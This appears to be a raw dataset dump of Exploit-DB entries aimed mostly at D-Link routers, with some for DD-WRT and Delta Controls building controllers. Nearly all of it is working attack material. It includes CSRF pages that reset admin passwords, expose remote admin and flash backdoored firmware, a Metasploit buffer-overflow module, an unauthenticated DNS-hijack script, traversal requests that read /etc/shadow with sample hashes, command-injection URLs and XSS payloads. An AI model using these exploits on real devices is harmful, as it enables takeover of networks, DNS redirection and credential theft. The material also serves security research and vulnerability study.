deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38481
Description: D-Link DIR-865L - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2013-04-19
Author: Jacob Holcomb

Exploit:
source: https://www.securityfocus.com/bid/59312/info

D-Link DIR-865L is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.

D-Link DIR-865L firmware version 1.03 is vulnerable; other versions may also be affected. 

<html> <head> <title> D-LINK DIR-865L CSRF</title> <!-- Firmware Version: 1.03 Fri 02 Nov 2012 --> </head> <body> <form name="dlinkXML" action="http://192.168.0.1/hedwig.cgi" enctype="text/plain" method="post"> <input type="hidden" name="<?xml version" value="'1.0' encoding='UTF-8'?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-865L</gw_name> <account> <seqno>1</seqno> <max>2</max> <count>1</count> <entry> <uid>USR-</uid> <name>Admin</name> <usrid/> <password>ISE</password> <group>0</group> <description/> </entry> </account> <group> <seqno/> <max/> <count>0</count> </group> <session> <captcha>0</captcha> <dummy/> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> <module> <service>HTTP.WAN-1</service> <inf> <web>1337</web> <https_rport></https_rport> <stunnel>1</stunnel> <weballow> <hostv4ip/> </weballow> <inbfilter></inbfilter> </inf> </module> <module> <service>HTTP.WAN-2</service> <inf> <web>1337</web> <weballow></weballow> </inf> </module> <module> <service>INBFILTER</service> <acl> <inbfilter> <seqno>1</seqno> <max>24</max> <count>0</count> </inbfilter> </acl> <ACTIVATE>ignore</ACTIVATE> <FATLADY>ignore</FATLADY> <SETCFG>ignore</SETCFG> </module> <module> <service>SHAREPORT</service> <FATLADY>ignore</FATLADY> <ACTIVATE>ignore</ACTIVATE> </module> </postxml>"> </form> <script> function CSRF1() {document.dlinkXML.submit();};window.setTimeout(CSRF1,1000) function CSRF2() {window.open("http://192.168.0.100/dlinkCSRF2.html");}; window.setTimeout(CSRF2,1000) </script> </body> </html>
Exploit-DB #33471
Description: D-Link DKVM-IP8 - 'auth.asp' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2010-01-06
Author: POPCORN

Exploit:
source: https://www.securityfocus.com/bid/37646/info

D-LINK DKVM-IP8 is prone to a cross-site scripting vulnerability because the device's web interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following example data is available:

The POST variable nickname has been set to 1>">">
Exploit-DB #25684
Description: D-Link DSL Router - Remote Authentication Bypass
Type: remote
Platform: hardware
Date: 2005-05-19
Author: Francesco Orro

Exploit:
source: https://www.securityfocus.com/bid/13679/info

Various D-Link DSL routers are susceptible to a remote authentication bypass vulnerability. This issue is due to a failure of the devices to require authentication in certain circumstances.

This vulnerability allows remote attackers to gain complete administrative access to affected devices.

Various D-Link devices with the following firmware revisions are affected by this issue:
- V1.00B01T16.EN.20040211
- V1.00B01T16.EU.20040217
- V0.00B01T04.UK.20040220
- V1.00B01T16.EN.20040226
- V1.00B02T02.EU.20040610
- V1.00B02T02.UK.20040618
- V1.00B02T02.EU.20040729
- V1.00B02T02.DE.20040813
- V1.00B02T02.RU.20041014

Due to the common practice of code reuse, other devices are also likely affected by this issue. 

<html><head>Download config.xml:<title>GetConfig - Config file
download</title></head><body>

<script lang="javascript">
function invia_richiesta()
{
document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
document.DownloadConfig.submit();
}
</script>

<form name="InputBox">
<br>http://<input Name="Host" type="text" value="">/cgi-bin/firmwarecfg<br>
</form>
<form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
<input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form></body></html>
Exploit-DB #40735
Description: D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure
Type: remote
Platform: hardware
Date: 2016-11-08
Author: Todor Donev

Exploit:
#!/bin/sh
# 
#  D-Link ADSL ROUTER DSL-2730U IN_1.02
#  Remote File Disclosure
#
#  Modem Name:               DSL-2730U/DSL-2750E
#  Time and Date:            2012-05-23 09:51:16
#  HardwareVersion:          U1
#  Firmware Version:         IN_1.02/SEA_1.04/SEA_1.07
# 
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

[todor@adamantium ~]$ torsocks GET "http://TARGET:PORT/cgi-bin/webproc?getpage=/etc/shadow&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=wizard"
#  #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
Exploit-DB #35917
Description: D-Link DSL-2740R - Remote DNS Change
Type: remote
Platform: hardware
Date: 2015-01-27
Author: Todor Donev

Exploit:
#!/bin/bash
#
#  D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
#
#  Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  
#  Description:  
#  Different D-Link Routers are vulnerable to DNS change.
#  The vulnerability exist in the web interface, which is 
#  accessible without authentication. 
#
#  ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
#  DEVICES MAY AFFECTED.
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#     

if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "     D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
        echo "  ================================================================"
        echo "  Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
        echo "  Example: $0 192.168.1.1 8.8.8.8"
        echo "  Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
        echo ""
        echo "     Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
        echo "                  http://www.ethical-hacker.org/"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1
Exploit-DB #28847
Description: D-Link DSL-G624T - Information Disclosure
Type: remote
Platform: hardware
Date: 2006-10-23
Author: jose.palanco

Exploit:
source: https://www.securityfocus.com/bid/20689/info

D-Link DSL-G624T devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially sensitive configuration information from affected devices. This may aid them in further attacks.

http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/passwd
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/config.xml
Exploit-DB #29945
Description: D-Link DSL-G624T - Var:RelaodHref Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-05-03
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/23802/info

D-Link DSL-G624T is prone to a cross-site scripting vulnerability. This issue is due to a failure to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cgi-bin/webcm?getpage=../html/home/home_RelaodHref.htm&var:RelaodHref=a"%20==%20"a"){alert("XSS")}}</script>
Exploit-DB #1889
Description: D-Link DWL Series Access-Point 2.10na - Config Disclosure
Type: remote
Platform: hardware
Date: 2006-06-08
Author: INTRUDERS

Exploit:
# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg
We would have a result equivalent to the following:

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password IntrudersTest
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

# milw0rm.com [2006-06-08]
Exploit-DB #36670
Description: D-Link ShareCenter Products - Multiple Remote Code Execution Vulnerabilities
Type: remote
Platform: hardware
Date: 2012-02-08
Author: Roberto Paleari

Exploit:
source: https://www.securityfocus.com/bid/51918/info

D-Link ShareCenter products are prone to multiple remote code-execution vulnerabilities.

Successful exploits will result in the execution of arbitrary code in the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.

The following products are affected:

D-Link DNS-320 ShareCenter
D-Link DNS-325 ShareCenter 

http://www.example.com/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=ls
http://www.example.com/cgi-bin/discovery.cgi
http://www.example.com/cgi-bin/system_mgr.cgi?cmd=get_firm_v_xml
Exploit-DB #29735
Description: D-Link TFTP 1.0 - Transporting Mode Remote Buffer Overflow
Type: remote
Platform: hardware
Date: 2007-03-12
Author: LSO

Exploit:
source: https://www.securityfocus.com/bid/22923/info

D-Link TFTP is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before storing it in a finite-sized buffer.

A remote attacker can exploit this issue to cause the application to crash, denying further service to legitimate users. Given the nature of this issue, the attacker may presumably be able to execute code.

D-Link TFTP 1.0 is vulnerable; other versions may also be affected. 

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/ 
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in D-Link TFTP 1.0.
					By sending a request for an overly long file name, an attacker 
					could overflow a buffer and execute arbitrary code. For best results,
					use bind payloads with nonx (No NX).
			},
			'Author'         => 	[
							'LSO <lso[@]hushmail.com>', # Exploit module
							'patrick', # Refs, stability, targets etc
						],
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					[ 'BID', '22923' ],
					[ 'OSVDB', '33977' ],
					[ 'CVE', '2007-1435' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'Compat'   => 
					{
						'ConnectionType' => '-reverse',
					},
				},
			'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					# Patrick tested OK 20090228
					['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
					['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 12 2007',
			'DefaultTarget' => 0))

			register_options([Opt::RPORT(69)], self)

	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		juju = "\x00\x01"  
		juju << Rex::Text.rand_text_alpha_upper(581)
		juju << Rex::Arch::X86.jmp_short(42)
		juju << Rex::Text.rand_text_alpha_upper(38)
		juju << [target.ret].pack('V') + payload.encoded
 
		udp_sock.put(juju)

		handler
		disconnect_udp
	end

end
Exploit-DB #7920
Description: D-Link VoIP Phone Adapter - Cross-Site Scripting / Cross-Site Request Forgery Remote Firmware Overwrite
Type: remote
Platform: hardware
Date: 2009-01-29
Author: Michael Brooks

Exploit:
D-link VoIP Phone Adapter XSS and XSRF(remote firmware overwrite)
model number: DVG-2001s
f/w version 1.00.007

Better than just remote code execution,  you control the firmware.

<html>
	<form action="http://10.1.1.166/Forms/cbi_Set_SW_Update?16640,0,0,0,0,0,0,0,0"
method="POST">
		<input name="page_HiddenVar" value="0">
		<input name="TFTPServerAddress1" value="10">
		<input name="TFTPServerAddress2" value="1">
		<input name="TFTPServerAddress3" value="1">
		<input name="TFTPServerAddress4" value="1">
		<input name="FirmwareUpdate" value="enabled">
		<input name="FileName" value="backdoored_firmware.img">
		<input type=submit value="attack">
	</form>
</html>
and xss which can be used for csrf bypass:
http://10.1.1.166/Forms/page_CfgDevInfo_Set?%3Cscript%3Ealert(%22hacked%22)%3C/script%3E

# milw0rm.com [2009-01-29]
Exploit-DB #15842
Description: DD-WRT 24-preSP2 - Information Disclosure
Type: remote
Platform: hardware
Date: 2010-12-29
Author: Craig Heffner

Exploit:
# Exploit Title: DD-WRT Information Disclosure Vulnerability
# Date: 26-Dec-2010
# Author: Craig Heffner, /dev/ttyS0
# Software Link: http://www.dd-wrt.com
# Version: v24-preSP2
# Tested on: builds 14311, 14896

Remote attackers can gain sensitive information about a DD-WRT router and internal clients, including IP addresses, MAC addresses and host names. This information can be used for further network attacks as well as very accurate MAC address geolocation (see: http://samy.pl/mapxss/). This is exploitable even if remote administration is disabled.

Users who enable remote administration typically set the info page to 'disabled' or 'enabled with authentication' in order to prevent remote users from obtaining this information without first authenticating to the router. However, if the info page is set to 'disabled', the /Info.live.htm page can still be accessed directly by an unauthenticated remote attacker, which returns the following data:

{lan_mac::00:22:B0:9B:1C:D3}
{wan_mac::00:22:B0:9B:1C:D4}
{wl_mac::00:22:B0:9B:1C:D5}
{lan_ip::192.168.1.1}
{wl_channel::6}
{wl_radio::Radio is On}
{wl_xmit::71 mW}
{wl_rate::270 Mbps}
{packet_info::SWRXgoodPacket=
0;SWRXerrorPacket=0;SWTXgoodPacket=302;SWTXerror
Packet=17;}
{wl_mode_short::ap}
{lan_proto::dhcp}
{mem_info::,'total:','used:','free:','shared:','buffers:','cached:','Mem:','13316096','11509760','1806
336','0','1556480','4431872','Swap:','0','0','0','MemTotal:','13004','kB','MemFree:','1764','kB','Me
mShared:','0','kB','Buffers:','1520','kB','Cached:','4328','kB','SwapCached:','0','kB','Active:','4136'
,'kB','Inactive:','1724','kB','HighTotal:','0','kB','HighFree:','0','kB','LowTotal:','13004','kB','LowFr
ee:','1764','kB','SwapTotal:','0','kB','SwapFree:','0','kB'}
{active_wireless::}
{active_wds::}
{dhcp_leases:: 'joes-desktop','192.168.1.102','xx:xx:xx:xx:2E:41','1 day 00:00:00','102'}
{dhcp_leases:: 'marys-laptop','192.168.1.105','xx:xx:xx:xx:55:E2','1 day 00:00:00','105'}
{uptime:: 01:35:40 up 8 min, load average: 1.60, 0.80, 0.36}
{ipinfo:: IP: 1.1.1.1}
{wan_ipaddr::1.1.1.1}
{gps_text::}
{gps_lat::}
{gps_lon::}
{gps_alt::}
{gps_sat::}


Since DD-WRT is also vulnerable to a public IP DNS rebinding attack, this vulnerability affects routers that have remote administration disabled as well, and can be exploited by any Web site that is viewed by an internal, unauthenticated user. The Rebind tool easily facilitates this type of rebinding attack (http://rebind.googlecode.com).

More details and a demo video available at: http://www.devttys0.com/2010/12/dd-wrt-i-know-where-you-live/
Exploit-DB #50880
Description: Delta Controls enteliTOUCH 3.40.3935 - Cookie User Password Disclosure
Type: remote
Platform: hardware
Date: 2022-04-19
Author: LiquidWorm

Exploit:
Exploit Title: Delta Controls enteliTOUCH 3.40.3935 - Cookie User Password Disclosure
Exploit Author: LiquidWorm


Vendor: Delta Controls Inc.
Product web page: https://www.deltacontrols.com
Affected version: 3.40.3935
                  3.40.3706
                  3.33.4005

Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
high-resolution display that serves as an interface to your building.
Use it as your primary interface for smaller facilities or as an
on-the-spot access point for larger systems. The intuitive,
easy-to-navigate interface gives instant access to manage your BAS.

Desc: The application suffers from a cleartext transmission/storage
of sensitive information in a Cookie. This allows a remote
attacker to intercept the HTTP Cookie authentication credentials
through a man-in-the-middle attack.

Tested on: DELTA enteliTOUCH


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5704
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5704.php


06.04.2022

--


GET /deltaweb/hmi_useredit.asp?ObjRef=BAC.1000.ZSL3&formAction=Edit HTTP/1.1
Host: 192.168.0.210
Cache-Control: max-age=0
User-Agent: Toucher/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.210/deltaweb/hmi_userconfig.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Previous=; lastLoaded=; LastUser=DELTA; LogoutTime=10; UserInstance=1; UserName=DELTA; Password=LOGIN; LastGraphic=; LastObjRef=; AccessKey=DADGGEOFNILEJMBBCNDKFNJPHPPJDAEDGEBJACPEAPBHDCGPCAGNNDEOJIJEOPPLOEKCFMAFNHDJPHGACMDFMPFDNONPIJAHBBNAAIDMDHCCPMAJDELDNLOPBPDCKELJADDKICPMMPCNEOMBHMKIIBJHFAJKNKJFGDEOLPMGMNBEHFLNEDIFMJKMCJKBHPGGEMHJJGMOMAECDKDIIKGNDDGANIHDKPNACLMANGJAOBDNJCFGEIHIJICLPGOFFMDOOLOJCJPAPPKOJFCKFAHDDAGNLCAHKKKGHCBODHBNDCOECGHG
Connection: close
Exploit-DB #50878
Description: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF)
Type: remote
Platform: hardware
Date: 2022-04-19
Author: LiquidWorm

Exploit:
# Exploit Tile: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF)
# Exploit Author: LiquidWorm

<!DOCTYPE html>
<html>
<head><title>enteliTouch CSRF</title></head>
<body>
<!--

Delta Controls enteliTOUCH 3.40.3935 Cross-Site Request Forgery (CSRF)


Vendor: Delta Controls Inc.
Product web page: https://www.deltacontrols.com
Affected version: 3.40.3935
                  3.40.3706
                  3.33.4005

Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
high-resolution display that serves as an interface to your building.
Use it as your primary interface for smaller facilities or as an
on-the-spot access point for larger systems. The intuitive,
easy-to-navigate interface gives instant access to manage your BAS.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: DELTA enteliTOUCH


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5702
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5702.php


06.04.2022

-->


CSRF Add User:

<form action="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Add&userName=&userPassword=" method="POST">
  <input type="hidden" name="actionName" value="" />
  <input type="hidden" name="Username" value="zsl" />
  <input type="hidden" name="Password" value="123t00t" />
  <input type="hidden" name="AutoLogout" value="17" />
  <input type="hidden" name="SS&#95;SelectedOptionId" value="FIL28" />
  <input type="hidden" name="ObjRef" value="" />
  <input type="hidden" name="Apply" value="true" />
  <input type="hidden" name="formAction" value="Add" />
  <input type="submit" value="Go for UserAdd" />
</form>

<br />

CSRF Change Admin Password (default: delta:login):

<form action="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Edit&userName=DELTA&userPassword=baaah" method="POST">
  <input type="hidden" name="actionName" value="" />
  <input type="hidden" name="Username" value="DELTA" />
  <input type="hidden" name="Password" value="123456" />
  <input type="hidden" name="AutoLogout" value="30" />
  <input type="hidden" name="SS&#95;SelectedOptionId" value="" />
  <input type="hidden" name="ObjRef" value="ZSL-251" />
  <input type="hidden" name="Apply" value="true" />
  <input type="hidden" name="formAction" value="Edit" />
  <input type="submit" value="Go for UserEdit" />
</form>

</body>
</html>